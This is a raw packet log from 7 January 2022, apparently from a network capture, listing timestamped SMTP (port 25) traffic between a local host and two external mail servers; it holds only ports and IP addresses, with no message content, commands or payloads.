Jan 7, 2022 15:55:36.973349094 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.973462105 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.973623037 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.973733902 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.973781109 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.973943949 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.973984003 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.974047899 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.974083900 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.974096060 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:36.974950075 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:36.981364965 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.981393099 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.981406927 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.981493950 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.981532097 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.981569052 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.981578112 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.981599092 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.981642008 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.981668949 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.981724977 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.981785059 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.981827021 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.981842041 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.981904030 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.981930017 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.981944084 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.982007980 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.982023001 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.982078075 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.982105970 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:36.982167006 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:36.983190060 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.161771059 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.161807060 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.161881924 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.162134886 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.162163973 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.162192106 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.162297010 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.162350893 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.162492037 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.162620068 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.162659883 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.162770987 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.162786961 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.162853956 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.162884951 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.162966013 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.163121939 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.163165092 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.163228035 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.163266897 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.163278103 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.163480043 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.163605928 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.163686991 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.163849115 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.163963079 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.164005995 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.164077997 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.164171934 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.164254904 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.164361954 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.164453030 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.164534092 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.164629936 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.164705038 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.164815903 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.164916039 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.165005922 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.165087938 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.165107012 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.165246010 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.173784971 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.173811913 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.173829079 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.173873901 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.173933029 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.176953077 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.176981926 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.176995039 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177006006 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177016973 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177027941 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177037954 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177047968 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177067041 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177084923 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177100897 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177117109 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177134991 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177150011 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177165985 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177185059 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177201033 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177217007 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177232981 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177249908 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177267075 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177282095 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177298069 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177311897 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.177314997 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.177406073 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.177428961 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.177481890 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.177558899 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.177592993 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.177606106 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.352174997 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.352277994 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.352441072 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.352596045 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.352757931 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.352952003 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.353223085 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.353342056 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.353456020 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.353472948 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.353626966 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.353820086 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.354010105 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.354186058 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.354425907 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.354522943 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.354744911 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.354885101 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.354901075 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.355314970 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.355333090 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.355612993 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.355633974 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.355931044 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.356031895 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.356153011 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.356316090 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.356519938 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.356537104 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.356554031 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.356662989 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.356720924 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.356762886 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.356785059 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.356796980 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.356827974 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.356832027 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.356858969 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.356873035 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.356899023 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.369302988 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369324923 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369333982 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369342089 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369354963 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369362116 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369369030 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369402885 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.369409084 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369416952 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369465113 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.369494915 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369494915 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.369508982 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369522095 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369534969 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369543076 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369545937 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.369574070 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369587898 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.369623899 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.369643927 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.369643927 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369658947 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369671106 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369703054 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.369733095 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.369751930 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369782925 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369854927 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.369865894 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369899035 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.369954109 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.370023966 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370054960 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370068073 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370080948 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370143890 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.370166063 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.370227098 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370239019 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370280981 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.370320082 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.370333910 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370373011 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370398045 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.370419979 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370430946 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.370466948 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.370503902 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370573044 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.370583057 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370614052 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370680094 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.370698929 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370815992 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370826960 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370892048 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.370920897 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.370939016 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.370994091 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.371021986 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.371104002 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.371134043 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.371171951 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.371192932 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.371264935 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.371294975 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.371320009 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.371342897 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.371350050 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.371392965 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.371423960 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.371489048 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.371505022 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.372993946 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.546669960 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.546706915 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.546722889 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.546844959 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.546957970 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.547117949 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.547319889 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.547517061 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.547647953 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.547663927 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.547837973 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.547996998 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:37.561525106 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561559916 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561577082 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561598063 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561613083 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561629057 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561645031 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561659098 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561674118 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561691046 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561736107 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561753035 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561803102 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561882973 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561902046 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561918020 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561933041 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.561949015 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562033892 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562052011 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562067986 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562084913 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562130928 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562246084 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562263012 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562304974 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562365055 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562419891 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562486887 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562536001 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562603951 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562649012 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562665939 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562681913 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562695980 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562791109 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562838078 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562936068 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.562957048 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563074112 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563091993 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563107014 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563165903 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563265085 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563282967 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563324928 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563343048 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563391924 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563455105 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.563512087 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.563519001 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563540936 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.563599110 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563602924 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.563724041 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.563745022 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563764095 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563774109 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.563781977 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563791990 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.563802004 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563829899 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.563853025 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.563924074 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563945055 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.563963890 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.563976049 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564004898 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564014912 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564030886 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564048052 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564063072 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564085960 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564091921 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564095974 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564110994 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564137936 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564156055 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564178944 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564197063 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564213991 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564224958 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564245939 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564265013 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564311981 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564330101 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564347029 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564357042 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564384937 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564402103 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564419031 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564461946 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564507008 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564671993 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564675093 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564692974 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564709902 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564723969 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564776897 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564866066 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564886093 CET	25	49909	35.82.253.27	192.168.2.3
